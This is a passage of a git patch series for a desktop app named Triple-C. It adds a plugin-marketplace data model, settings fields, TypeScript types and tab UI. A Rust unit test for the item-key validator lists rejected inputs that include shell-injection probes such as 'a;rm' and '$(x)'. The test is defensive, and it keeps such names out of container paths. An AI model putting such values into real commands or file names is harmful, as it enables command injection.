into the image; data only via env and files) run as -`claude`. Results come back as JSON on stdout. +uploaded to `~/.claude/triple-c/marketplace/incoming/` together with the sync script itself and +applied by that **constant** script (data only via env and files) run as `claude`. The script lives +in the app (`app/src-tauri/src/marketplace/sync.sh`, embedded with `include_str!`) and is uploaded +on every sync rather than baked into the image, for the same reason as the readiness check: every +existing project gets it immediately and it is always the version that matches the app. Results +come back as JSON on stdout. **Script behaviour.** State lives in `~/.claude/triple-c/marketplace/state.json` (what Triple-C installed last time, including the exact hook entries it inserted). -- 2.52.0 From d419d0a6b41f60bf190485b0745fb2b40d62a15a Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 08:40:58 -0700 Subject: [PATCH 04/45] Marketplace: data model, settings and project fields Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/models/app_settings.rs | 14 + app/src-tauri/src/models/marketplace.rs | 399 ++++++++++++++++++ app/src-tauri/src/models/mod.rs | 2 + app/src-tauri/src/models/project.rs | 33 +- .../projects/PermissionModeControl.test.tsx | 2 + .../components/projects/ProjectRow.test.tsx | 2 + .../projects/home/BrowserTab.test.tsx | 2 + .../projects/home/TaskEditorModal.test.tsx | 2 + .../home/config/ModelSection.test.tsx | 2 + .../home/config/RuntimeSection.test.tsx | 2 + .../home/config/WorkspaceSection.test.tsx | 2 + .../settings/SharedAuthSettings.test.tsx | 2 + app/src/lib/types.ts | 77 ++++ 13 files changed, 536 insertions(+), 5 deletions(-) create mode 100644 app/src-tauri/src/models/marketplace.rs diff --git a/app/src-tauri/src/models/app_settings.rs b/app/src-tauri/src/models/app_settings.rs index 26758f9..18ffa3a 100644 --- a/app/src-tauri/src/models/app_settings.rs +++ b/app/src-tauri/src/models/app_settings.rs @@ -1,6 +1,7 @@ use serde::{Deserialize, Serialize}; use super::gateway_settings::GatewaySettings; +use super::marketplace::{Marketplace, MarketplaceAccount, MarketplaceInstall}; use super::project::{ClaudeCodeSettings, EnvVar}; fn default_true() -> bool { @@ -135,6 +136,16 @@ pub struct AppSettings { pub gateway: GatewaySettings, #[serde(default)] pub global_claude_code_settings: Option, + /// Sign-in accounts for private marketplace repos. Secrets live in the + /// OS keychain (`storage::secure::*_marketplace_token`), never here. + #[serde(default)] + pub marketplace_accounts: Vec, + /// Marketplace git repos the user added. + #[serde(default)] + pub marketplaces: Vec, + /// Items installed for every project (projects may opt out per item). + #[serde(default)] + pub global_marketplace_installs: Vec, /// Whether the terminal loads `@xterm/addon-webgl`. /// /// `None` is "auto", and auto is not the same answer on every platform. @@ -246,6 +257,9 @@ impl Default for AppSettings { stt: SttSettings::default(), gateway: GatewaySettings::default(), global_claude_code_settings: None, + marketplace_accounts: Vec::new(), + marketplaces: Vec::new(), + global_marketplace_installs: Vec::new(), terminal_gpu_rendering: None, } } diff --git a/app/src-tauri/src/models/marketplace.rs b/app/src-tauri/src/models/marketplace.rs new file mode 100644 index 0000000..d409983 --- /dev/null +++ b/app/src-tauri/src/models/marketplace.rs @@ -0,0 +1,399 @@ +//! Marketplace data model — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`. +//! +//! Plain data plus the pure rules that decide what a project actually gets +//! ([`effective_installs`]) and what names are allowed to reach a container +//! path ([`is_valid_item_key`], [`marketplace_slug`]). + +use std::collections::BTreeMap; + +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ItemKind { + Agent, + Skill, + Command, + Hook, + Plugin, +} + +impl ItemKind { + /// The lowercase name used in report strings (`"agent:code-reviewer"`) and the manifest. + pub fn as_str(&self) -> &'static str { + match self { + ItemKind::Agent => "agent", + ItemKind::Skill => "skill", + ItemKind::Command => "command", + ItemKind::Hook => "hook", + ItemKind::Plugin => "plugin", + } + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum AccountMethod { + GhHost, + GhContainer, + Token, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct MarketplaceAccount { + pub id: String, + pub label: String, + pub host: String, + pub method: AccountMethod, + #[serde(default)] + pub username: Option, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct Marketplace { + pub id: String, + pub name: String, + pub url: String, + #[serde(default)] + pub branch: Option, + #[serde(default)] + pub account_id: Option, +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)] +pub struct MarketplaceItemRef { + pub marketplace_id: String, + pub kind: ItemKind, + pub key: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct MarketplaceInstall { + pub marketplace_id: String, + pub kind: ItemKind, + pub key: String, + pub commit: String, +} + +impl MarketplaceInstall { + pub fn item_ref(&self) -> MarketplaceItemRef { + MarketplaceItemRef { + marketplace_id: self.marketplace_id.clone(), + kind: self.kind, + key: self.key.clone(), + } + } +} + +/// What a project's container actually gets: the global installs minus the +/// ones this project opted out of, plus the project's own installs. When the +/// project installs an item that is also global, the project's entry (and so +/// its pin) wins. Sorted by item ref so the result is deterministic. +pub fn effective_installs( + global: &[MarketplaceInstall], + disabled: &[MarketplaceItemRef], + project: &[MarketplaceInstall], +) -> Vec { + let mut out: BTreeMap = BTreeMap::new(); + for install in global { + let item = install.item_ref(); + if disabled.contains(&item) { + continue; + } + out.insert(item, install.clone()); + } + for install in project { + out.insert(install.item_ref(), install.clone()); + } + out.into_values().collect() +} + +/// `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$` — the only names that may become a +/// container path component. No `/`, no leading `.` or `-`, no shell +/// metacharacters. +pub fn is_valid_item_key(key: &str) -> bool { + let bytes = key.as_bytes(); + if bytes.is_empty() || bytes.len() > 64 { + return false; + } + if !bytes[0].is_ascii_alphanumeric() { + return false; + } + bytes + .iter() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) +} + +/// A container-safe, collision-free name for a marketplace: its name +/// lowercased to `[a-z0-9-]`, dashes collapsed, at most 32 characters, then +/// `-` and the first 8 characters of its id. An empty sanitised name becomes +/// `marketplace`. +pub fn marketplace_slug(name: &str, id: &str) -> String { + let mut base = String::new(); + for c in name.chars() { + let c = c.to_ascii_lowercase(); + if c.is_ascii_lowercase() || c.is_ascii_digit() { + base.push(c); + } else if !base.ends_with('-') && !base.is_empty() { + base.push('-'); + } + } + let mut base: String = base.trim_matches('-').chars().take(32).collect(); + while base.ends_with('-') { + base.pop(); + } + if base.is_empty() { + base.push_str("marketplace"); + } + let id_part: String = id + .chars() + .filter(|c| c.is_ascii_alphanumeric()) + .map(|c| c.to_ascii_lowercase()) + .take(8) + .collect(); + format!("{}-{}", base, id_part) +} + +/// A full, lowercase, 40-character hex object id. +pub fn is_valid_commit(commit: &str) -> bool { + commit.len() == 40 + && commit + .bytes() + .all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)) +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct CatalogItem { + pub kind: ItemKind, + pub key: String, + pub name: String, + pub description: String, + /// Repo-relative path of the item (file or folder). + pub path: String, + /// `Some(reason)` when the item cannot be installed. + pub invalid: Option, + /// Hooks only: rendered commands with `${HOOK_DIR}` substituted. + #[serde(default)] + pub hook_commands: Vec, + /// Agents/commands/skills: the markdown body (≤ 64 KiB, truncated); + /// plugins: a component listing. + #[serde(default)] + pub preview: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +pub struct MarketplaceSnapshot { + pub marketplace_id: String, + pub head_commit: Option, + /// RFC 3339. + pub fetched_at: Option, + pub fetch_error: Option, + pub items: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct ItemUpdate { + pub item: MarketplaceItemRef, + pub pinned: String, + pub head: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum FileChange { + Added, + Removed, + Modified, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct FileDiff { + pub path: String, + pub change: FileChange, + /// Unified diff text; `None` when either side is binary. + pub unified: Option, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +pub struct SkippedItem { + pub item: String, + pub reason: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +pub struct SyncReport { + #[serde(default)] + pub installed: Vec, + #[serde(default)] + pub updated: Vec, + #[serde(default)] + pub removed: Vec, + #[serde(default)] + pub skipped: Vec, + #[serde(default)] + pub errors: Vec, + /// RFC 3339, set by the host. + #[serde(default)] + pub finished_at: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "snake_case")] +pub enum InstallScope { + Global, + Project { project_id: String }, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProjectSyncResult { + pub project_id: String, + pub report: SyncReport, +} + +#[cfg(test)] +mod tests { + use super::*; + + fn install(market: &str, kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall { + MarketplaceInstall { + marketplace_id: market.to_string(), + kind, + key: key.to_string(), + commit: commit.to_string(), + } + } + + #[test] + fn effective_set_is_global_minus_disabled_plus_project() { + let global = vec![ + install("m1", ItemKind::Agent, "reviewer", "a"), + install("m1", ItemKind::Hook, "notify", "a"), + ]; + let disabled = vec![MarketplaceItemRef { + marketplace_id: "m1".into(), + kind: ItemKind::Hook, + key: "notify".into(), + }]; + let project = vec![install("m2", ItemKind::Skill, "tidy", "b")]; + + let got = effective_installs(&global, &disabled, &project); + + assert_eq!( + got, + vec![ + install("m1", ItemKind::Agent, "reviewer", "a"), + install("m2", ItemKind::Skill, "tidy", "b"), + ] + ); + } + + #[test] + fn project_pin_wins_over_global_pin() { + let global = vec![install("m1", ItemKind::Agent, "reviewer", "old")]; + let project = vec![install("m1", ItemKind::Agent, "reviewer", "new")]; + let got = effective_installs(&global, &[], &project); + assert_eq!(got, vec![install("m1", ItemKind::Agent, "reviewer", "new")]); + } + + #[test] + fn same_key_different_kind_are_different_items() { + let global = vec![ + install("m1", ItemKind::Agent, "x", "a"), + install("m1", ItemKind::Command, "x", "a"), + ]; + assert_eq!(effective_installs(&global, &[], &[]).len(), 2); + } + + #[test] + fn item_keys_follow_the_pattern() { + for ok in ["a", "code-reviewer", "A.b_c-9", &"x".repeat(64)] { + assert!(is_valid_item_key(ok), "{ok} should be valid"); + } + for bad in [ + "", + ".hidden", + "-flag", + "_x", + "a/b", + "a b", + "a;rm", + "$(x)", + "ä", + "..", + &"x".repeat(65), + ] { + assert!(!is_valid_item_key(bad), "{bad:?} should be invalid"); + } + } + + #[test] + fn slug_is_sanitised_and_suffixed_with_the_id() { + assert_eq!( + marketplace_slug("Triple-C Marketplace!", "1A2B3C4D-ffff"), + "triple-c-marketplace-1a2b3c4d" + ); + assert_eq!( + marketplace_slug("***", "abcdef0123"), + "marketplace-abcdef01" + ); + let long = marketplace_slug(&"x".repeat(80), "12345678"); + assert_eq!(long, format!("{}-12345678", "x".repeat(32))); + } + + #[test] + fn commits_must_be_full_lowercase_hex() { + assert!(is_valid_commit(&"a".repeat(40))); + assert!(!is_valid_commit(&"A".repeat(40))); + assert!(!is_valid_commit(&"a".repeat(39))); + assert!(!is_valid_commit("HEAD")); + } + + #[test] + fn install_scope_serialises_tagged() { + assert_eq!( + serde_json::to_value(InstallScope::Global).unwrap(), + serde_json::json!({"type": "global"}) + ); + assert_eq!( + serde_json::to_value(InstallScope::Project { + project_id: "p".into() + }) + .unwrap(), + serde_json::json!({"type": "project", "project_id": "p"}) + ); + } + + #[test] + fn kinds_serialise_snake_case() { + assert_eq!(serde_json::to_value(ItemKind::Plugin).unwrap(), "plugin"); + assert_eq!( + serde_json::to_value(AccountMethod::GhHost).unwrap(), + "gh_host" + ); + } + + #[test] + fn settings_and_projects_saved_before_the_marketplace_still_load() { + let mut settings = serde_json::to_value(crate::models::AppSettings::default()).unwrap(); + for key in [ + "marketplace_accounts", + "marketplaces", + "global_marketplace_installs", + ] { + settings.as_object_mut().unwrap().remove(key); + } + let settings: crate::models::AppSettings = serde_json::from_value(settings).unwrap(); + assert!(settings.marketplace_accounts.is_empty()); + assert!(settings.marketplaces.is_empty()); + assert!(settings.global_marketplace_installs.is_empty()); + + let mut project = + serde_json::to_value(crate::models::Project::new("p".to_string(), Vec::new())).unwrap(); + for key in ["marketplace_installs", "marketplace_disabled"] { + project.as_object_mut().unwrap().remove(key); + } + let project: crate::models::Project = serde_json::from_value(project).unwrap(); + assert!(project.marketplace_installs.is_empty()); + assert!(project.marketplace_disabled.is_empty()); + } +} diff --git a/app/src-tauri/src/models/mod.rs b/app/src-tauri/src/models/mod.rs index 10e2c0f..9935ee4 100644 --- a/app/src-tauri/src/models/mod.rs +++ b/app/src-tauri/src/models/mod.rs @@ -1,6 +1,7 @@ pub mod app_settings; pub mod container_config; pub mod gateway_settings; +pub mod marketplace; pub mod migration; pub mod note; pub mod project; @@ -10,6 +11,7 @@ pub mod update_info; pub use app_settings::*; pub use container_config::*; pub use gateway_settings::*; +pub use marketplace::*; pub use migration::*; pub use note::*; pub use project::*; diff --git a/app/src-tauri/src/models/project.rs b/app/src-tauri/src/models/project.rs index 0f32161..fb32c34 100644 --- a/app/src-tauri/src/models/project.rs +++ b/app/src-tauri/src/models/project.rs @@ -446,6 +446,12 @@ pub struct Project { /// User-defined display names for terminal tabs, keyed by session id. #[serde(default)] pub renamed_session_names: HashMap, + /// Marketplace items installed for this project only (spec §2). + #[serde(default)] + pub marketplace_installs: Vec, + /// Global marketplace installs this project opts out of. + #[serde(default)] + pub marketplace_disabled: Vec, pub created_at: String, pub updated_at: String, } @@ -693,6 +699,8 @@ impl Project { claude_instructions: None, claude_code_settings: None, renamed_session_names: HashMap::new(), + marketplace_installs: Vec::new(), + marketplace_disabled: Vec::new(), created_at: now.clone(), updated_at: now, } @@ -789,7 +797,10 @@ mod tests { } fn env(key: &str, value: &str) -> EnvVar { - EnvVar { key: key.to_string(), value: value.to_string() } + EnvVar { + key: key.to_string(), + value: value.to_string(), + } } #[test] @@ -887,7 +898,10 @@ mod tests { // `merge_claude_code_settings` spells it. `main` resolved this with // `if p.env_scrub { true } else { g.env_scrub }`, i.e. the global won — // and it has to go on winning, because the user never turned this off. - let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() }; + let global = ClaudeCodeSettings { + env_scrub: Some(true), + ..Default::default() + }; assert_eq!( stored.env_scrub.or(global.env_scrub), Some(true), @@ -902,7 +916,10 @@ mod tests { let json = r#"{ "env_scrub": false }"#; let chosen: ClaudeCodeSettings = serde_json::from_str(json).unwrap(); assert_eq!(chosen.env_scrub, Some(false)); - let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() }; + let global = ClaudeCodeSettings { + env_scrub: Some(true), + ..Default::default() + }; assert_eq!(chosen.env_scrub.or(global.env_scrub), Some(false)); } @@ -916,7 +933,10 @@ mod tests { assert_eq!(json, "{}"); assert!(!json.contains("null")); - let partial = ClaudeCodeSettings { env_scrub: Some(false), ..Default::default() }; + let partial = ClaudeCodeSettings { + env_scrub: Some(false), + ..Default::default() + }; let json = serde_json::to_string(&partial).unwrap(); assert_eq!(json, r#"{"env_scrub":false}"#); // And it reads back as what it is. @@ -984,7 +1004,10 @@ mod tests { }); let migrated = Project::migrate_from_value(legacy); let obj = migrated.as_object().unwrap(); - assert!(obj.contains_key("paths"), "the migration should still do its own job"); + assert!( + obj.contains_key("paths"), + "the migration should still do its own job" + ); assert!(!obj.contains_key("auth_bridge_enabled")); assert!(!obj.contains_key("browser_view_enabled")); } diff --git a/app/src/components/projects/PermissionModeControl.test.tsx b/app/src/components/projects/PermissionModeControl.test.tsx index 5249904..f1d6d83 100644 --- a/app/src/components/projects/PermissionModeControl.test.tsx +++ b/app/src/components/projects/PermissionModeControl.test.tsx @@ -32,6 +32,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/components/projects/ProjectRow.test.tsx b/app/src/components/projects/ProjectRow.test.tsx index ffd6b6e..eae742a 100644 --- a/app/src/components/projects/ProjectRow.test.tsx +++ b/app/src/components/projects/ProjectRow.test.tsx @@ -60,6 +60,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/components/projects/home/BrowserTab.test.tsx b/app/src/components/projects/home/BrowserTab.test.tsx index df7624b..649015c 100644 --- a/app/src/components/projects/home/BrowserTab.test.tsx +++ b/app/src/components/projects/home/BrowserTab.test.tsx @@ -125,6 +125,8 @@ const project: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", } as unknown as Project; diff --git a/app/src/components/projects/home/TaskEditorModal.test.tsx b/app/src/components/projects/home/TaskEditorModal.test.tsx index 62e942e..ad9c62d 100644 --- a/app/src/components/projects/home/TaskEditorModal.test.tsx +++ b/app/src/components/projects/home/TaskEditorModal.test.tsx @@ -44,6 +44,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/components/projects/home/config/ModelSection.test.tsx b/app/src/components/projects/home/config/ModelSection.test.tsx index afbd6dd..f61c236 100644 --- a/app/src/components/projects/home/config/ModelSection.test.tsx +++ b/app/src/components/projects/home/config/ModelSection.test.tsx @@ -34,6 +34,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/components/projects/home/config/RuntimeSection.test.tsx b/app/src/components/projects/home/config/RuntimeSection.test.tsx index 4733c09..e8e1ea7 100644 --- a/app/src/components/projects/home/config/RuntimeSection.test.tsx +++ b/app/src/components/projects/home/config/RuntimeSection.test.tsx @@ -47,6 +47,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/components/projects/home/config/WorkspaceSection.test.tsx b/app/src/components/projects/home/config/WorkspaceSection.test.tsx index a44970b..2f39ad6 100644 --- a/app/src/components/projects/home/config/WorkspaceSection.test.tsx +++ b/app/src/components/projects/home/config/WorkspaceSection.test.tsx @@ -39,6 +39,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/components/settings/SharedAuthSettings.test.tsx b/app/src/components/settings/SharedAuthSettings.test.tsx index dae02d7..6ab0a52 100644 --- a/app/src/components/settings/SharedAuthSettings.test.tsx +++ b/app/src/components/settings/SharedAuthSettings.test.tsx @@ -72,6 +72,8 @@ const baseProject: Project = { claude_instructions: null, claude_code_settings: null, renamed_session_names: {}, + marketplace_installs: [], + marketplace_disabled: [], created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; diff --git a/app/src/lib/types.ts b/app/src/lib/types.ts index 849a5bf..2dcaa33 100644 --- a/app/src/lib/types.ts +++ b/app/src/lib/types.ts @@ -66,6 +66,8 @@ export interface Project { claude_instructions: string | null; claude_code_settings: ClaudeCodeSettings | null; renamed_session_names: Record; + marketplace_installs: MarketplaceInstall[]; + marketplace_disabled: MarketplaceItemRef[]; created_at: string; updated_at: string; } @@ -296,6 +298,81 @@ export interface AppSettings { * canvas renderer it would otherwise fall back to. See * `resolveTerminalGpuRendering` in `lib/terminalRenderer.ts`. */ terminal_gpu_rendering: boolean | null; + marketplace_accounts: MarketplaceAccount[]; + marketplaces: Marketplace[]; + global_marketplace_installs: MarketplaceInstall[]; +} + +// ── Marketplace (mirrors src-tauri/src/models/marketplace.rs) ─────────────── + +export type ItemKind = "agent" | "skill" | "command" | "hook" | "plugin"; +export type AccountMethod = "gh_host" | "gh_container" | "token"; +export interface MarketplaceAccount { + id: string; + label: string; + host: string; + method: AccountMethod; + username: string | null; +} +export interface Marketplace { + id: string; + name: string; + url: string; + branch: string | null; + account_id: string | null; +} +export interface MarketplaceItemRef { + marketplace_id: string; + kind: ItemKind; + key: string; +} +export interface MarketplaceInstall extends MarketplaceItemRef { + commit: string; +} +export interface CatalogItem { + kind: ItemKind; + key: string; + name: string; + description: string; + path: string; + invalid: string | null; + hook_commands: string[]; + preview: string; +} +export interface MarketplaceSnapshot { + marketplace_id: string; + head_commit: string | null; + fetched_at: string | null; + fetch_error: string | null; + items: CatalogItem[]; +} +export interface ItemUpdate { + item: MarketplaceItemRef; + pinned: string; + head: string; +} +export type FileChange = "added" | "removed" | "modified"; +export interface FileDiff { + path: string; + change: FileChange; + unified: string | null; +} +export interface SkippedItem { + item: string; + reason: string; +} +export interface SyncReport { + installed: string[]; + updated: string[]; + removed: string[]; + skipped: SkippedItem[]; + errors: string[]; + finished_at: string; +} +export type InstallScope = { type: "global" } | { type: "project"; project_id: string }; +export interface ProjectSyncResult { + project_id: string; + report: SyncReport; } /** What `preview_settings_import` returns before anything is applied — -- 2.52.0 From d23d0a44c50188663a5d0a50455eb0cc30635080 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 08:48:06 -0700 Subject: [PATCH 05/45] Marketplace UI plumbing: wrappers, singleton tab, settings section, view shell Co-Authored-By: Claude Opus 5.5 --- app/src/App.tsx | 10 +- app/src/components/layout/MainTabs.test.tsx | 19 +- app/src/components/layout/MainTabs.tsx | 42 +++- app/src/components/layout/NotesDock.tsx | 2 +- .../components/marketplace/AccountsPane.tsx | 11 + app/src/components/marketplace/BrowsePane.tsx | 9 + .../components/marketplace/InstalledPane.tsx | 9 + .../marketplace/MarketplaceView.test.tsx | 45 ++++ .../marketplace/MarketplaceView.tsx | 67 ++++++ .../settings/MarketplaceSettings.test.tsx | 42 ++++ .../settings/MarketplaceSettings.tsx | 48 ++++ app/src/components/settings/SettingsPanel.tsx | 5 + app/src/hooks/useKeyboardShortcuts.test.tsx | 15 +- app/src/hooks/useKeyboardShortcuts.ts | 4 +- app/src/hooks/useMarketplace.test.ts | 120 ++++++++++ app/src/hooks/useMarketplace.ts | 208 ++++++++++++++++++ app/src/lib/marketplace.test.ts | 113 ++++++++++ app/src/lib/marketplace.ts | 75 +++++++ app/src/lib/tauri-commands.ts | 54 ++++- app/src/store/appState.test.ts | 44 +++- app/src/store/appState.ts | 31 +++ 21 files changed, 964 insertions(+), 9 deletions(-) create mode 100644 app/src/components/marketplace/AccountsPane.tsx create mode 100644 app/src/components/marketplace/BrowsePane.tsx create mode 100644 app/src/components/marketplace/InstalledPane.tsx create mode 100644 app/src/components/marketplace/MarketplaceView.test.tsx create mode 100644 app/src/components/marketplace/MarketplaceView.tsx create mode 100644 app/src/components/settings/MarketplaceSettings.test.tsx create mode 100644 app/src/components/settings/MarketplaceSettings.tsx create mode 100644 app/src/hooks/useMarketplace.test.ts create mode 100644 app/src/hooks/useMarketplace.ts create mode 100644 app/src/lib/marketplace.test.ts create mode 100644 app/src/lib/marketplace.ts diff --git a/app/src/App.tsx b/app/src/App.tsx index bfebfe4..23f64f1 100644 --- a/app/src/App.tsx +++ b/app/src/App.tsx @@ -21,7 +21,9 @@ import { useTerminal } from "./hooks/useTerminal"; import { useSTT } from "./hooks/useSTT"; import { useContainerProgress } from "./hooks/useContainerProgress"; import { useKeyboardShortcuts } from "./hooks/useKeyboardShortcuts"; -import { useAppState, isHomeTab, tabKeyId, homeTabKey } from "./store/appState"; +import { useMarketplaceSyncToasts } from "./hooks/useMarketplace"; +import MarketplaceView from "./components/marketplace/MarketplaceView"; +import { useAppState, isHomeTab, tabKeyId, homeTabKey, MARKETPLACE_TAB_KEY } from "./store/appState"; import { reconcileProjectStatuses } from "./lib/tauri-commands"; export default function App() { @@ -72,6 +74,7 @@ export default function App() { useContainerProgress(); useKeyboardShortcuts(); + useMarketplaceSyncToasts(); // Initialize on mount useEffect(() => { @@ -159,6 +162,11 @@ export default function App() { /> ))} + {tabOrder.includes(MARKETPLACE_TAB_KEY) && ( + + + + )}
    )} diff --git a/app/src/components/layout/MainTabs.test.tsx b/app/src/components/layout/MainTabs.test.tsx index 855b789..f82dd22 100644 --- a/app/src/components/layout/MainTabs.test.tsx +++ b/app/src/components/layout/MainTabs.test.tsx @@ -1,7 +1,7 @@ import { describe, it, expect, vi, beforeEach } from "vitest"; import { fireEvent, render, screen } from "@testing-library/react"; import MainTabs from "./MainTabs"; -import { useAppState, homeTabKey, terminalTabKey } from "../../store/appState"; +import { useAppState, homeTabKey, terminalTabKey, MARKETPLACE_TAB_KEY } from "../../store/appState"; import type { Project, TerminalSession } from "../../lib/types"; const close = vi.fn(); @@ -265,3 +265,20 @@ describe("MainTabs reordering", () => { } }); }); + +describe("marketplace tab", () => { + beforeEach(() => { + useAppState.setState({ + tabOrder: [HOME, MARKETPLACE_TAB_KEY], + activeTabKey: MARKETPLACE_TAB_KEY, + activeSessionId: null, + }); + }); + + it("renders a Marketplace tab that closes", () => { + render(); + expect(screen.getByRole("tab", { name: /marketplace/i })).toHaveAttribute("aria-selected", "true"); + fireEvent.click(screen.getByRole("button", { name: "Close Marketplace tab" })); + expect(useAppState.getState().tabOrder).toEqual([HOME]); + }); +}); diff --git a/app/src/components/layout/MainTabs.tsx b/app/src/components/layout/MainTabs.tsx index bf356e2..d13648b 100644 --- a/app/src/components/layout/MainTabs.tsx +++ b/app/src/components/layout/MainTabs.tsx @@ -5,6 +5,7 @@ import { useProjects } from "../../hooks/useProjects"; import { useAppState, isHomeTab, + isMarketplaceTab, tabKeyId, terminalTabKey, } from "../../store/appState"; @@ -41,12 +42,13 @@ const MODE_BADGE: Record = export default function MainTabs() { const { sessions, close } = useTerminal(); const { projects, update } = useProjects(); - const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, moveTab } = useAppState( + const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, closeMarketplaceTab, moveTab } = useAppState( useShallow((s) => ({ tabOrder: s.tabOrder, activeTabKey: s.activeTabKey, setActiveTabKey: s.setActiveTabKey, closeHomeTab: s.closeHomeTab, + closeMarketplaceTab: s.closeMarketplaceTab, moveTab: s.moveTab, })), ); @@ -192,6 +194,7 @@ export default function MainTabs() { * worse than no ghost. */ const tabLabel = (key: string): string => { + if (isMarketplaceTab(key)) return "Marketplace"; if (isHomeTab(key)) { return projects.find((p) => p.id === tabKeyId(key))?.name ?? ""; } @@ -272,7 +275,7 @@ export default function MainTabs() { x: e.clientX - drag.offsetX, y: drag.top, label: tabLabel(drag.key), - icon: isHomeTab(drag.key) ? "⌂" : "▣", + icon: isMarketplaceTab(drag.key) ? "◈" : isHomeTab(drag.key) ? "⌂" : "▣", }); }, onPointerUp: (e: React.PointerEvent) => { @@ -314,6 +317,41 @@ export default function MainTabs() { const renderTab = (key: string, index: number) => { const active = activeTabKey === key; + if (isMarketplaceTab(key)) { + return ( +
    activateTab(key)} + onKeyDown={(e) => { + if (e.key === "Enter" || e.key === " ") { + e.preventDefault(); + setActiveTabKey(key); + } + }} + {...pointerProps(key, false)} + className={tabClass(active, dragKey === key)} + > + + Marketplace + +
    + ); + } + if (isHomeTab(key)) { const projectId = tabKeyId(key); const project = projects.find((p) => p.id === projectId); diff --git a/app/src/components/layout/NotesDock.tsx b/app/src/components/layout/NotesDock.tsx index 4619bb1..e16320e 100644 --- a/app/src/components/layout/NotesDock.tsx +++ b/app/src/components/layout/NotesDock.tsx @@ -78,7 +78,7 @@ export default function NotesDock() { if (!notesDockOpen) return null; // Follow whatever is in front: a home tab is its own project, a terminal tab - // is the project it belongs to. + // is the project it belongs to. The Marketplace tab belongs to no project. let projectId: string | null = null; if (activeTabKey && isHomeTab(activeTabKey)) { projectId = tabKeyId(activeTabKey); diff --git a/app/src/components/marketplace/AccountsPane.tsx b/app/src/components/marketplace/AccountsPane.tsx new file mode 100644 index 0000000..41fcb1c --- /dev/null +++ b/app/src/components/marketplace/AccountsPane.tsx @@ -0,0 +1,11 @@ +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; + +export default function AccountsPane(_props: { mp: MarketplaceApi }) { + const count = useAppState((s) => s.appSettings?.marketplace_accounts.length ?? 0); + return ( +

    + {count} account{count === 1 ? "" : "s"}. +

    + ); +} diff --git a/app/src/components/marketplace/BrowsePane.tsx b/app/src/components/marketplace/BrowsePane.tsx new file mode 100644 index 0000000..b97c93e --- /dev/null +++ b/app/src/components/marketplace/BrowsePane.tsx @@ -0,0 +1,9 @@ +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { + return ( +

    + {mp.snapshots.length} marketplace{mp.snapshots.length === 1 ? "" : "s"} configured. +

